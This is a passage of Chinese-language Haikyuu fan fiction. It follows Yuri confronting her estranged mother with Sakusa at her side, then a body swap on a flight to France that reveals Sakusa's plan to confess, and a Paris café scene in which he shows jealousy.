她只是短暂地打量了一下多年未见的女儿,脸上的微笑在和她对视的瞬间不自在地停顿了一下,接着就转向她旁边的佐久早。 “佐久早选手,我见过你的姐姐了,她是一位非常专业的策展人。”看起来和陌生人交谈对她来说比和自己的女儿更为容易,这并不令人意外,可以说对由里而言也是一样。 “是吗?”佐久早不置可否。 店员跟过来给他们点单:“您喝点什麽呢?” “一杯拿铁,加两份枫糖浆。”由里转过来问佐久早,“臣臣你喝什麽?” “和你一样。” 他肯定不是认真的吧,喝无糖酸奶的佐久早圣臣怎麽可能忍受得了喝二倍糖浆咖啡? 由里觉得佐久早一坐下就光顾着摆他的扑克脸,根本没听她说话。 此时此刻他们四人分别坐在餐桌两边,餐桌上的氛围比球场上还要剑拔弩张,感觉经过八秒倒计时佐久早就会打出一个大力发球。 但是餐还得点,她转头对店员说:“他要一杯不加糖的拿铁。” 店员记录了两人的需求就走了。由里几乎有点希望她不要这麽快就离开,留下他们几个在这里沉默不语。 咖啡馆里播放着爵士乐的老式唱片机和正在制作咖啡的咖啡机一时间成为了这个空间里唯二发出声响的东西。 她以为久别重逢的母亲会关心一下她的现状,或者对当年的事情作出解释,但是事情显然并不如她所愿。 千洋的第一句话是:“我先介绍一下吧,这是我的爱人海野清,这是我的女儿由里。” 海野对由里伸出了手。 由里有些抗拒和他接触,只是点头致意了一下。她原本想要无声地拒绝他的握手,没想到佐久早却先握了上去。 海野不得不掉转方向去跟佐久早握了个手,显然没想到事情会这样展开,但还是对佐久早礼貌地微笑了一下。 佐久早只是点了点头,收回手,然后从他的风衣口袋里掏出了酒精湿巾。 空气中他撕开酒精湿巾外包装的声音无比刺耳。 当他开始用酒精湿巾擦拭双手的时候,桌上更加沉默了。 由里只花了一秒就把解释佐久早的洁癖的想法扼杀在了摇篮里,她不想为了和陌生人以及几乎算是陌生人的母亲缓和气氛随意透露佐久早的任何信息——尽管这件事是稍微对他有点了解的人都能知道的。 佐久早则象征性地客气了一下:“我进食之前一向都是这样的,请别见怪。” 可是刚才店长问他能不能握手的时候他答应了,而且没有擦手,想必海野也看到了那一幕。 海野尴尬地笑了笑,没有继续这个话题。他转而对由里提问:“听说你最近在《Afterschool》投稿了自己的短篇作品,你也选择了漫画创作这个行业吗?” 由里说:“是的。” 海野点了点头,其实这应该是他早就心知肚明的讯息,此时此刻的点头只不过是交际场合走个流程罢了。 接着他转而对千洋说:“《Afterschool》在月刊漫画杂志中算是最有名的刊物了,千洋的女儿好好长大了呢。” 且不说什麽叫好好长大,就算她这样可以算是好好长大,那也不应该是一个和她完全无关的陌生男人对此发表看法吧。 由里皱了皱眉,对千洋说:“我以为这些话会是你和我说。” 店员在这时把由里和佐久早的咖啡端了上来,四人因此再次掉进沉默的漩涡。 千洋搅拌了一下她自己的咖啡——即使这杯咖啡已经喝了一半,没有什麽值得搅拌的地方——她说:“我确实有很多话想和你说,这些年我一直都很想你。” 这里似乎是一个应该有所回应的气口,但由里什麽都没说。 “我约你见面就是因为想要问你,你愿意和我们一起住吗?”她似乎并不很在意由里毫无波澜的反应,接着解释着自己的近况,“我们没有结婚,也不会生育,如果你愿意过来的话,我们就还和以前一样。” “我不愿意。”由里简直有点想走了,她用余光瞥了一眼佐久早。 或许是出于担忧,后者也在同一时间看了她一眼。 千洋也察觉到了她的视线变化,她看了看佐久早,又看向由里:“是我忘了,你已经到了创建自己的家庭的年纪了。” “这和他没关系。”由里几乎是脱口而出。 “那是因为?”还没等千洋继续追问,海野倒是先开了口,“我这次来就是想表明我的态度,我也是非常欢迎千洋的女儿来我们的家庭的。” 听到他的口吻,由里都有点想笑了。他说得那麽理所应当,就好像他们从一开始就是一边的,而由里是那个外人。 或许她也确实是外人,眼前的千洋纵使和她有着血缘的关系,却如此陌生。对她来说,在她身边的佐久早和她的关系比他们要亲近多了。 “已经过去了这麽多年,我们怎麽可能还跟以前一样呢?”由里说,“我以为你对不辞而别有什麽想说的,因为你在作品里那麽多次提及出走和拯救,可是看来今天根本就不是讨论这件事的场合。” 佐久早对她的话有点意外。 由里只说过自己非常喜欢千洋的作品,但是没有说过为什麽喜欢。 如果要说“出走”和“拯救”,那分明就是她们自己的人生。 在这个世界上,有人会选择出走,而有人会选择拯救。 他几乎不用思考就能明白,由里是因为是怀抱着“拯救”的希望才爱着千洋的作品的,可是现在她却发现绘制出那样作品的人恰恰是当初离开了她的人。 他不自觉地深吸了一口气。 没有比这更让人恼火的事情了。 这简直比MSBY所有队友一起在他家里往他新买的地毯上洒番茄酱、蛋黄酱和无糖可乐还让他火冒三丈。 千洋对于由里看过她的作品并不意外,毕竟她们是在分享会见面的,她就像已经提前缺省过对白一样说:“由里,我知道你知道真相会难过,但是人总要有些心理慰藉才能活下去,这世界上谁没有辛苦的地方呢?” 佐久早几乎要站起来了,但由里抢在他前面说: “可你活下去的动力就是把被抛弃的亲生女儿的人生幻想成一个个故事吗?她是一个活人,你完全知道她会经历什麽困难,但却一边无视一边在故事里当英雄?” 千洋一言不发。 海野倒是还替她说着好话:“所以我们找到你就立刻联系了你啊。” 佐久早这下找到了发泄口:“这跟你有什麽关系?” 虽然这是个问句,但他完全是用陈述句的语气说出来的,声音一如往常地平稳,但是却让人说不出话来。 现在笑出来是不是不太好?由里控制了一下自己的面部表情,但还是情不自禁地在桌子下面竖起了大拇指。 她准备把手放回自己腿上的时候,却有点突然地被温暖的手掌阻拦了退路。原来是佐久早轻轻握了一下她的手指尖。 即使被打断了一下,受到这样的鼓励,由里立刻就有信心继续说下去了:“还有推荐语的事情,不管你是出于弥补的心理还是……” 千洋立刻为自己解释道:“我当然是真心认可你的作品才这样提议的,你的漫画真的很好,海野看过也说……” 由里无视了她打断自己的话,坚持说了下去:“还是作为行业前辈真心认可我的作品,我都拒绝你的帮助。” 千洋不解地问:“为什麽呢?我不会因为帮你写了推荐语就要求你做其他的事情,你不愿意和我相认也没有关系,这真的只是一次帮忙。” 由里凝神同她对视着:“因为我不想成为像你一样的作者。” 她说:“你可以选择和什麽人一起组建家庭,而我一出生就在那样的家庭。即便如此,我也没有为了让自己心里好受,就变成一个说假话的作者。 “你在作品里设想了无数次拯救我,却没有在现实里见我一面。或许你是一个很优秀的作者,很擅长煽动别人的情绪,但是我现在已经知道了,你也是一个拒绝面对真正的现实的人。 “从今以后我们都在这个行业里生存,我们会作为竞争对手出现在同一本杂志的榜单上。以前的事情我并不怪你,但是这是我现在能接受的唯一的关系。如果未来没有工作上的联系,我想我们不需要再像这样见面了。” 由里几乎用尽全力结束了这段发言,她没有等待千洋和海野的回应,只是侧过脸轻声对佐久早说:“我去结我们的账。” 佐久早点了点头,在她整理风衣的时候帮她把挂在椅背上的挎包拿下来递给她。 由里走在前面,马上就到吧台去了。佐久早也跟着站起身,但还留在原地,风衣挂在他的胳膊上,看起来不像是要走的意思。 千洋对他笑笑,或许是为了缓解尴尬,她对佐久早说:“本来还挺担心我的女儿的,看到她和你这麽好的男人交往我就放心了。” 佐久早面色不快:“很担心她?那为什麽过上了更好的生活却一次都不去找她?一个小孩被扔在那样的家庭里会发生什麽难道你不知道?” 千洋点点头,但看不出来她此举是为了回答哪一个问题:“看来佐久早君对我很有意见啊。” 他冷淡地说:“我不应该有意见吗?” 海野叹了口气:“生活在那样的环境里,人人都有自己的苦衷。” “我知道,所以你希望我说什麽呢?”佐久早说,“就像你为河村女士辩解一样,我也只关心由里的事情。河村女士,她关心你才会原谅你,但我不会原谅你。” 说完,他就向远处的由里走去,也同样没有等待他们的回应。 可能因为咖啡馆里实在太温暖了,离开咖啡馆回到冬季的寒风里让人瞬间就觉得有些冷,由里飞速跑回了车门旁边,差点忘了佐久早还要把他的绅士行为表演到底。 佐久早跟在她身后,为她打开了车门。 由里一边被佐久早塞进车里,一边对他说:“臣臣你今天真是太气人了!如果没有你我都不知道怎麽办了。” 她看起来几乎可以说是有点……激动?佐久早扶着车门莫名其妙:“你那是夸人的话吗?” 由里由衷地点点头:“当然啦,臣臣真的最帅了。” “今天最帅的人应该是能好好说出这一切的你吧,”佐久早绕到车的另一侧,上车对她说,“我没有做什麽,而且你之前也帮我应付了我的家人,不用太在意。” “那怎麽会一样?”虽然佐久早的家人和他的联系也不是那麽频繁,但他们一旦相聚就可以看出是真正的一家人。 由里在心里这样想着,但并没有说出来——今天的事情已经告一段落了,她不想再反复提及那些说了也是让人不高兴的事情。 佐久早今天休息半天,她想到马上就是可以吃点东西的时间了,或许他可以吃完再去俱乐部训练,于是提议道:“这边有一家店里的梅子茶泡饭很好吃的,臣臣不是喜欢吃梅子吗?我请你吃。” 佐久早有些惊讶:“你怎麽知道我喜欢?又在网上看了什麽推文吗?” 她摆摆手:“臣臣在家不是也会吃吗?不需要看推文也可以发现的。” 他不无懊恼地回想了一下过去的事情。 仔细想来,她好像总是这样,见微知著地发现自己喜欢什麽不喜欢什麽。倒是他自己,常常是直到她说出来才发现事情还有这麽一回事。 就像今天的事情一样。 “好吧,那你带路。”佐久早启动了木兔的车。 经过由里的指路,他们很快到了这家本就不远的餐厅。 时间还算早,店里也还没有太多人。他们很快找好位置点了餐。 这家店是由里以前兼职当漫画助手的时候发现的店,虽然隐匿于都市一隅,但是已经开了很多年了。 店里的灯是纸灯笼形态的,光线并不算很亮,只是柔和地照在他们的餐桌上。这里很适合作为一场恶战之后休憩的地方。 佐久早仔细清洁了双手,这才问出他刚才花了一点时间思索的问题:“今天你说的河村女士的作品的事情,我之前都不知道。” 由里正在喝服务人员刚才给她倒满的大麦茶,闻言放下了茶杯:“因为臣臣没有特别关注过漫画嘛,我知道你对这些没兴趣,所以就没有特意说……感觉可能对你来说不太重要?” 她怎麽会这麽想呢?佐久早说:“不是那样。” 由里有些意想不到:“不是吗?臣臣也喜欢漫画?都没有听你说过看过哪个漫画呢。” 不是那麽说,她根本就误会了他的意思。 但佐久早顺势想了一下:“我看过的,你上次给我看的那本‘在失乐园的’……” 由里的瞳孔骤然一缩,急忙打断了他:“那是个失误!臣臣我求你忘了吧!” 她都快要彻底忘记这件事情了!他怎麽还记得啊? “我应该没看到你想让我忘记的内容,”佐久早解释了一句,他的语气淡定得像在讨论天气,“我看到他们接吻就没再继续看下去了,因为我觉得你可能不想让我继续看了。” 由里当时确实出言劝阻来着,幸好佐久早明白了她的用意。 但其实她在意的不是他有没有看到。 那些情节都是非常正常的,有人有需求去看那些情节也都是非常正常的,即使佐久早知道她会去看那些情节她也不觉得丢脸。 但是,在发生了这麽多事情——其中包括和佐久早接吻、同居、同床共枕——之后,要她和佐久早若无其事地讨论那些情节她实在是做不到。 特别是在此时此刻他看起来还非常帅的情况下。 她只好安静下来,暗自祈祷佐久早会因为灯光昏暗而注意不到她的羞赧。 他好像真的没有留意,只是突然说:“但是我刚才说的话不是这个意思。” “嗯?” 这次佐久早非常认真地看着她:“我确实没有看过什麽漫画,但是我认为你的事情很重要。” 由里这才真正消化了刚才的对话,她看着佐久早,眼睛在餐厅的暖光灯里看起来亮亮的。 可惜,谈及重要的心事,佐久早倒是开始吞吞吐吐:“我的意思是,我们住在一起,也一起做了很多事情……总之,我不希望让你觉得你是不受重视的,因为我……” 餐厅服务员在这时出现在了他们的桌边:“您点的两份梅子茶泡饭。” 佐久早的声音戛然而止。 由里点点头:“我知道了,我会更多表达我的想法的。谢谢你臣臣,快尝尝是不是你喜欢的那种梅子的味道吧。” 佐久早垂下头打量着他们一模一样的午餐:“嗯。” 好像只要有一次不是最好的时机,接下来每一次就都不是最好的时机了。 佐久早愤愤地咬了一口梅子。但抬起头迎上由里期待的目光,他又只好说了一声:“挺好吃的。”。 接下来的一周由里和佐久早都非常繁忙。 由里的短篇漫画的分镜已经和编辑沟通确认过,该绘制成稿了。而佐久早受到国家队征召,要去法国集训三天。 能跟外国强劲的对手打练习赛,他自然不想缺席,但看着由里桌面上涂涂抹抹把日程规划写得满满当当的日历,他有点担忧地问道:“你觉得长途飞行会耽误你的作画进度吗?” 由里摇摇头:“没关系的臣臣,大部分内容我之前就已经画好了,现在只需要调整以前的内容再补充一下新的内容就好。” 虽然是这麽说,但其实又要添加页数又要和编辑进行沟通修改,而且时差的原因可能还会减缓沟通的效率,她还是需要预留出一些富余时间的。 由里随身带着绘画的设备,就连在飞机上也没有休息,继续画着——就像她说过的,她有在交通工具上进行绘画的经验,何况飞机比学生时代的公共汽车平稳多了。 但是由里上一秒还在自己的座位上画画,下一秒只觉得头有点晕,就出现在了另一个地方。 她的手变成一双骨节分明的修长的手,她的平板计算机消失不见了。这里还是在机舱里,光洁如新的舷窗、柔和的灯光、淡淡的香氛味道都没有变——但是一排排被柔软织物包裹的座椅全都变了排布方式。 不难发现,她又和佐久早互换身体了。 他们事先商量过,决定不坐同一班飞机。一方面是因为佐久早的队友里见过由里的人太多了,如果他们看到之后询问她各种事情的话会有点麻烦,一方面是佐久早他们会先在法兰克福转机,他觉得没必要让由里也跟着跑一趟,就给她订了直飞的机票。 可是现在她甚至都没睡觉,怎麽会如此离奇地互换了呢? 这里没有网络,她甚至无法联系佐久早问问怎麽回事。 由里有点后悔没把男排国家队名单背下来了。她紧张地看向坐在佐久早身边的人,祈祷着千万不要是她不认识的国家队成员。 是古森元也。由里松了口气。 也对啊,国家队现役应该也没有其他选手和彼此有血缘关系了,他们两个那麽相熟,坐在一起才比较正常。 古森正在充满期待地看着佐久早的身体,好像希望得到什麽回答。 可能他们刚刚还在进行对话,而现在佐久早的灵魂就被扔到一个不属于自己的飞机座位上了。 由里愣了愣,但没等到古森继续说什麽,只好问:“怎麽了?” “圣臣你根本就没在听我说话啊!”古森说,“你觉得多米尼加和亚历山大谁能当选这次的正选自由人?” 救命啊!这不是随便聊个天就要露馅的程度了吗? 虽然由里认识古森,但是他说的这两个人她一个也不认识,就算她认识,一个只看过几场球还大部分时候都专注于佐久早选手个人的精彩表现的普通观众能和顶尖运动员在这个问题上侃侃而谈吗? 由里只好说:“都有可能。” “好像真的是这样呢……”古森皱了皱眉,陷入了深思,或许说深思不太准确,因为他还会把心里想的内容全部说出来,“虽然之前都是多米尼加入选,但是他似乎被伤病问题困扰很久了,亚历山大虽然大赛经验少,但是实力也很不错,而且最近他和路易选手配合打自由人三米线起跳传球的战术非常有效来着,路易选手肯定会入选吧,这样的话……” 由里有些茫然地眨了眨眼。原来只要随便附和一下,古森就能自己一直说下去了。 她不禁有点感动。真不愧是善于交际的古森选手。 如果只要做到这种程度就可以的话,她就有信心扮演佐久早圣臣直到下飞机了。 “还有路易的头脑也真可怕,虽然完全不缺力量,就算全靠力量型打法也可以,但是他的战术也太多变了。我看了他在俱乐部打比赛的视频,对手的节奏完全被牵制住了。话说回来那种刁钻的球路圣臣也能做到吧,你有没有想过试试那种战术?” "嗯……如果有机会的话。" “对吧?还有他们的副攻,那个人和你们队的木兔不是很像吗?会在意想不到的时候突然打吊球……” 由里一边听着,一边看向眼前可供旅客娱乐消遣的电子屏,上面显示的时间是当地时间早上七点半。 会是因为时间吗?她以前以为互换的触发条件是睡觉和醒来,但是她有时候午休也会小睡一下,并没有导致互换。而现在因为各地存在时差,时间回到了早上,所以他们又互换了。 回程的时候也得注意这件事才行,如果避免不了的话,她可能得稍微熬夜突击一下,因为在飞机上有这麽长的时间都不能画自己的作品了。 “圣臣你今天怎麽一直心不在焉的……”或许她沉默太久了,终于再次引起了古森的注意,“该不会是在想远藤小姐吧?” 哎?怎麽突然就和由里本人扯上关系了? 由里飞速地回忆了一下佐久早的语言习惯,得出的结论是:不管有没有想,佐久早肯定都会说“没有”。她也立刻说:“没有。” 显然古森也是这麽认为的,所以直接无视了她的否认:“我们周末就会回去了,才这麽短的时间而已啦,没想到圣臣居然是喜欢上别人之后会犯相思病的类型。” 那倒不至于,远藤小姐本人也跟来了,甚至就在古森面前呢。 古森突然想到了* 什麽似的:“所以自从那天之后你就一直都没有给她表白了?” 嗯? 佐久早在古森面前的人设难道不是正在和由里交往吗?为什麽要给已经交往的人表白啊? 察觉到这其中有些信息可能是自己不知道的,由里也不敢多说什麽,只好简单回答了自己所了解的实情:“没有。” 古森面色担忧地问:“为什麽?之前说的远藤小姐的状态问题还没有解决吗?虽然不知道是什麽样的问题,但是如果这麽严重的话确实让人挂心啊……” 虽然不知道古森认为她怎麽了——看起来古森自己也不知道她怎麽了,佐久早很注重隐私,所以不会随便把她的事情告诉别人的——但据她所知她目前应该是没有什麽状态问题。 她只好再次简单回答:“不是,她现在很好。” 古森颇为不满地看了看她:“既然如此,圣臣你就只是又没有勇气了是吧?” 如果是对已经恋爱的恋人表白,显然是不需要什麽勇气的,所以在古森目前的认知里他们是没有交往的? 他知道了实情吗? 但佐久早如果想把互换身体的事情告诉第三个人,一定会提前告诉由里的啊。他们直到上飞机之前还在和对方联系,总不能飞机起飞之后佐久早突然毫无预兆地跟古森坦白了这一切吧? 所以只可能是这样了——古森在不知道事情全貌的情况下,得知了他们并非真正交往,以及…… 佐久早要向她表白? 这是真的吗? “圣臣,就算你不说话也别想逃避。我真的不明白你在担心什麽,如果不是因为喜欢你,远藤小姐怎麽会那样帮你,又因为你随便找的蹩脚的借口就同意留在你家里?”古森简直称得上愤愤不平,但丝毫不知道他发表这一通言论的对象是佐久早准备表白的对象本人,“你觉得要是我求她住在我家她会答应吗?” 古森并不知道,他们互相帮忙是因为真的没办法分开,物理意义上的。 但是这确实也不是由里第一次想到这个问题了,如果是和其他人互换身体的话,由里可能会想一些更具有边界感的应对方式。 诚然他们同居乃至同床共枕都在一定的前提下给他们带来了便利,但是就算不那样做事情也并不是完全运转不下去的。 或许从一开始,从他们成为对方人生中的意外开始,从他们都认可了同居的方案开始,从他们第一天真正住在一起开始,这一切就都有迹可循。 古森还在等待着她的回答,由里实话实说:“不会。” 这应该会是古森本来期待的答案吧? 但是在由里诧异的目光中,古森激动的表情也突然凝固在了他的脸上。 过了一会,他才放低声音,小心地说:“你不应该说‘如果你这样做我就杀了你’之类的吗?为什麽你的反应这麽平淡,你不喜欢远藤小姐了吗?” …… 他们两位的相处模式可真是无法预测啊! 由里终于意识到自己是不可能扮演好真正的佐久早圣臣的,她只能庆幸就算自己看起来和平时不一样也没人会往互换身体的方面想。 她只好再次代表佐久早选手发表了最简单的回答:“不是。” “好吧……总之,就算她心情不好也不是你逃避的理由,她心情不好的话,你更应该勇敢地表明心意支持她才对啊。” “不过上次已经用过玫瑰花了,这次是不是送一点其他的礼物比较好?巴黎的甜点也非常有名,不如你给远藤小姐买一点酒心巧克力?” “她不喝酒。”由里发现自己正在十分自如地教古森如何帮助佐久早追求自己,一时间觉得有点好笑。 “那也有很多通常意义上的甜点可以选呢……”古森开始长篇大论的进行新的提议。 而由里突然反应过来…… 上次……玫瑰? 这个信息她还是很清楚的,佐久早和她认识以来每天都住在一起,购买那样一大束玫瑰的经历就只有那一次而已。 她分明记得佐久早说的是“为了增加恋爱体验”。 他还特地补充了“我是用这束花来弥补你的恋爱体验,不是用我自己”。 所以……那本来是佐久早计划中的……真正的表白? 她想起捧着玫瑰花蹲在她面前把花束送给她的佐久早。他的眼睛还是像平静无风的湖面那样,只是静静地注视着她,不同的是她能在他的眼睛里看到自己的影子。 “圣臣你为什麽脸红了?” “我有吗?”由里的思绪瞬间烟消云散,回归到现实里茫然地看着古森。 “完全有,连耳朵都红了。”古森说着,露出了几乎可以算得上嫌弃的表情,“你只是想想表白的画面就这样了吗……我服了,我都有点不想帮你想办法了。这件事不能就我一个人来承受吧?你觉得我能让若利君看看你现在这个样子吗?” 他指了指前座的人,由里才发现牛岛若利也在这里。 由里留意了一下牛岛的动作,他戴着飞机发放的耳机,正在专心致志地看着屏幕上的电影——开播之前的广告。 由里想说“还是不要打扰人家了”,但是想起古森刚才不可思议的眼神,她决定还是多学着佐久早的口吻来说话比较稳妥。 她说:“如果你叫他我就杀了你。” 别说,偶尔像佐久早一样刻薄一回感觉还挺开心的。 古森用湿纸巾擦了擦手,又用干纸巾擦了擦手,在佐久早的肩膀上拍了一下:“圣臣,你今天终于有点你自己的样子了,我几乎要担心你生病了。” “我只是……有点困了。” 他点点头表示认可:“喔,当然,我们这次出发的时间确实好早啊,睡吧睡吧。” 由里看到佐久早在前座背兜里放了一个一次性眼罩,于是把它戴上了。不管要不要真的睡觉,至少现在可以不用担心没扮演好佐久早从而给他造成麻烦了。 但是,人在听了刚才那番话之后想要睡着也不是一件多麽容易的事情。 她不知道佐久早是怎麽跟古森描述的,但是她知道了佐久早是真的打算向她表白。 原来他真的会喜欢她。 在球场上赢得了比赛热烈地看向她的,在她独自垂泪的时候把她裹进毛毯里的,在桌子底下轻轻握住她的手的佐久早圣臣,或许不只是迫于无奈,也不只是出于好心——他是因为喜欢她才这样做的。 飞机还有两个小时才能落地。 不只是因为互换身体的麻烦……她好想快点见到他。 由里下了飞机,幸好佐久早也在差不多的时间到达,立刻给她发消息说明了自己的各种证件存放的位置。 由里松了口气,飞快地找齐了所有需要用到的证件。 如果在一众队友面前,一向把一切都收拾得干净整齐的佐久早在不停地翻包查找证件,那确实太奇怪了。 【由里:你只要正常转机就可以,等你的航班到了我会在距离行李转盘最近的洗手间附近等你。】 【由里:我把你的设备都收拾好带走了,托运的行李也已经拿到了,你那边没什麽事吧?】 【臣臣:没什麽事,除了古森君,目前还没人跟我说话。】 【臣臣:已经在搜索国家队名单开始记人了。】 【由里:那就去吧。】 佐久早那边过了一会才又发消息过来。 【由里:……】 【由里:元也跟你说什麽了?】 一向回消息速度很快的由里也不知道该回什麽好了。 他说了什麽? 他提醒你别忘了给我表白。 他还让你这次别送我玫瑰花了,送我酒心巧克力。 但你放心吧,我已经告诉他我滴酒不沾了。 第24章 我不会跟你约会的。 由里仔细斟酌了半天,最后打字回复。 【臣臣:古森君说了一些我不认识的外国球员的事情。】 【臣臣:我就给出了一些中立的回答。】 【臣臣:然后我就睡觉了,他好像没有觉得有什麽不对。】 佐久早很快回复。 【由里:知道了。】 【由里:下一段也继续睡。】 一般情况下没有人会被这样使唤了还觉得开心,但是考虑到其中真正的原因,由里又有点想笑。 他们在机场约定好的位置见面,匆匆忙忙偷偷摸摸地交换了身体。佐久早马上要跟着队伍一起坐大巴离开,所以他们连话都没说上两句就分开了。 虽然这是两个人第一次一起出这麽远的门,但是佐久早那边和世界级的顶尖球员交手的机会实在难得,时间表也安排得满满当当,没有时间和她同行去任何地方观光。 由里因为实在太忙,最后也只选择了一个美术馆安排到自己的行程里,剩下的时间都会留在酒店画她的漫画。 到了美术馆,她拍了一张照片发给了佐久早。 佐久早发消息询问由里,为什麽在法国有如此多著名的美术馆和博物馆的情况下选择了一家名不见经传的小型美术馆。 由里的解释是:“大学时我的作业曾经入选过这里的画展,当时没有时间也没有钱去看,只得到了一封展出证书,连照片都看不到。这次难得能去,虽然我的作品的展出时间早就结束了,但是当然要亲眼看看当年展览的画廊是什麽样子啦。” 要说的话很多,她是直接用语音输入的。虽然声音很小,但似乎引起了旁边的亚洲面孔的注意。 她以为自己打扰到了其他观者,正要道歉并表示自己不会继续说下去了,但那人却先开口问:“你是日本人吗?” 对方似乎不是责怪的语气,由里悬着的心放下了:“是的。” 他看起来很高兴:“我也是。你觉得这个作品怎麽样?” 他所指向的作品是一组平面设计的作品,由里刚才就被这组作品显眼的群青色所吸引,所以认真观看了作品介绍。 作品把情感与河流联系在一起,把人与人之间往来的通信记录印刷在长长的折页上,从远处看就像一条长河。 “我非常喜欢这组作品,”她由衷地赞美道,“颜色非常漂亮,形式也非常有表现力,最重要的是作者对现代社会人际关系流动性的观察很细腻。” 男人一边听一边点头,听到最后笑了起来:“这是我的毕业设计作品。” 由里瞬间睁大了眼,她注意到作者的名字那里写着“野口”两个字:“野口先生非常厉害。” “谢谢,”野口用轻快的语气说,“我怎麽称呼您呢?” 她答:“我是远藤。” 野口便发出邀约:“远藤小姐,我现在在这附近工作,知道这边有一家很好的咖啡馆,等看完展览之后你想不想一起去?” 由里愣了一愣,她的赞美只是对他作品的赞美,她并不想让他会错意,于是十分直接地回答:“野口先生,我知道在异国他乡遇到审美合拍的本国人很开心,但是我不会跟你约会的。” 他显然没想到会得到这样的回答:“这麽直白吗?” 由里点头,郑重地回答:“我觉得拒绝的话还是说得明白一些比较好。” 野口只是笑了笑:“看来是我还不够格?” 她连忙摆摆手:“别这麽说,我没有设立标准线来评判考量别人。只是我已经有喜欢的人了,我不会考虑那个人以外的人。” 野口点头表示理解:“只是顺便一问,他也在巴黎吗?” 由里不太想把佐久早的事情当成谈资到处说,于是没有回答,只是反问他:“为什麽要问这个?” 野口解释说:“如果他在日本的话你就只是在日本有喜欢的人……” “而在法国还没有喜欢的人?”由里有点好笑,“我以为只有情景喜剧里的人才会这麽说话。” “现在你知道爱看情景喜剧的人也会这麽说了。”野口脸上的笑意愈发浓郁起来,“我们好像真的很合得来,如果是我先遇到你的,情况会不会不一样?” 她也礼貌地笑了一下,摇摇头说:“没有如果,拜托不要这麽说了。” 野口被彻彻底底地拒绝了,不过他并没有露出挫败之色,反而像吟诗作赋一样说道:“好吧,好吧,就像我的作品所说的,人际关系就像河流,人来人往都是不可避免的。不管怎麽说谢谢你的时间。” 由里也同他挥手道别,但她突然想到了什麽:“等一下,野口先生,是真的有很好的咖啡店吗?” 野口就也停下脚步:“对啊,那里的咖啡很好喝,可颂也很好吃。远藤小姐改变主意了?” 由里有点不好意思地笑了笑:“那倒不是,你不介意的话我想问一下位置。” 野口露出了心领神会的表情:“该不会你想带你喜欢的那位去吧?看来我最后还是知道了答案,他也在巴黎啊。” “拜托啦,看在我们很有缘分的份上。” 由里最终得到了咖啡店的地址。 上次佐久早忙着替她出气,都没有好好喝完咖啡。她要是能和他一起在以咖啡店闻名的巴黎街头喝一杯肯定会留下比上次好很多的回忆吧。 接下来的时间。由里自己看完了这个展览。这间美术馆不算大,所以她没花太长时间就逛完了。 剩下的时间她拍了一些展位的照片,一边拍一边想象着自己的作品如果在这里展出的话会放在哪个角度,周围有什麽陈设。 她又分享了几张自己觉得好看的照片给佐久早,后者此时此刻应该正在打练习赛,大概很晚才会有时间回复了。 到了第二天早上,由里约佐久早一起去野口推荐的咖啡店吃早餐。 他回训练场馆正好也要经过那里,一切还真是很巧。 由里和佐久早并肩走着,突然发现有个看起来很熟悉的亚洲面孔正和他们面对面走来,对方也在看着她。 是昨天在展览上遇到过的野口,没想到这麽快他们就又见面了。 他也留意到了佐久早——或许是因为这个,他没有专门停下来打招呼,只是对由里笑了一下。 佐久早也注意到了野口的笑。 这样的打招呼方式对于陌生人来说有些太亲近了,就好像他们之间有什麽无需宣之于口的默契一样。佐久早忍不住问:“他是谁?” 由里还在构思等一下要点什麽咖啡来配她的可颂,没发现佐久早表情的变化,只是随口回答:“昨天在画展遇到的人,我看到的作品里有一组是他设计的,所以聊了两句。对了,我们要去的这家店是他推荐给我的呢。” “哦。”佐久早表示知道了,没有再说什麽。 由里带他到咖啡店坐下,各自点了咖啡和面包。 佐久早看起来比平时更沉默,由里于是问:“和法国队的练习赛很累吗?” 佐久早给出了一个公式化的回答:“还好,有很多值得学习的地方。” 她试探性的提问就这样碰壁了,由里只好直截了当地问出自己真正关心的问题:“是吗,只是觉得臣臣好像话少了很多。” 佐久早叹了口气:“如果我第二天会从不认识的人身边醒来的话,你能提前通知我一下吗?” 由里怎麽也没想到会是这样的展开,问题一个接着一个冒出来:“为什麽这麽说?是因为刚才那个人吗?我和他什麽关系都没有,臣臣怎麽会这麽想的啊?” 他说:“只是觉得你们之间有很多我不知道的事情。” 那是因为这不是一件值得专门说出来的事情啊!她总不能发消息跟佐久早说“今天有个人找我搭讪,但你放心我已经拒绝了,并且告诉了他我只喜欢你”吧。 但是现在要是不说出来好像问题会越来越多,她只好说:“他确实想约我出去,但是我没有考虑和他接触,所以我很明白地拒绝了。你看他刚才看到我不也没有再说什麽了吗?” “原来如此。”佐久早说完这句又不再说话了。 “臣臣这次为什麽话这麽少,之前宫选手……还有古森君,说到他们的时候不是都很会开我玩笑的吗?” “那是因为我们都知道你不是真的喜欢他们。”佐久早说,“但我不知道你和那个人是怎麽相处的,如果你真的喜欢他,那也是你的自由,我不想因为互换身体的事情就随意干涉你的生活。” 由里只好再次强调:“我真的不喜欢他。” “你确定?” “当然啦,都说了我完全没有考虑过他。” 佐久早点点头,话匣子这才打开了:“那我就实话实说了,第一,他比我矮,而且长得连宫都不如。” “比臣臣矮和长得不如宫选手好像不是什麽丢脸的事啊?” 佐久早无视了她的吐槽:“第二,他看起来是一个长期伏案工作的人,缺乏锻炼,身体可能处于亚健康状态。” 由里简直要开始心虚了:“怎麽好像我也被骂了?” 佐久早于是为自己的话补充了一句:“你正在努力改变所以和他不一样。” 她忍不住笑了:“臣臣你的标准好波动啊。” “第三,异国恋很辛苦的,还是和你的常住地更近的更具有稳定性的人才配得上你。” 照这麽说,没人比又高又帅又爱运动常住地还和由里在同一个房子里的佐久早选手更合适了。 虽然他喜欢说其他男人的坏话,但是这样也挺可爱的。 由里还在笑着,和他对上眼:“可是我不知道那样的人会不会喜欢我。” 佐久早也看着她,替“那样的人”表明态度道:“会的。” 第25章 你其实没有和由里交往吧? 法国之旅繁忙又短暂,还没等由里对巴黎这座城市留下什麽印象他们就得回国了。 但由里的努力没有白费,成稿都保质保量地完成了,等到下一次月刊《Afterschool》发售,她就可以在上面看到自己的作品了。 想到未来的安排,她有了新的计划,所以趁佐久早下训的时候去找他商量。 “臣臣,之后开始做长篇连载我就又要开始忙了,你最近有时间的时候能不能陪我去高知县看看奶奶?” “休假的时候是可以……”佐久早拿出手机看了看最近的日程,给她指了具体的休假日期,“不过我以为你和所有亲人都不再联系了。” 由里简单述说了过去的事情:“和奶奶还是会联系的,也会寄钱给奶奶。奶奶一直都是支持我的,就是她给了我第一笔学费我才能跑出来。” 佐久早点头表示明白,但思索片刻又问她:“那这次也会见到你的亲生父亲吗?” 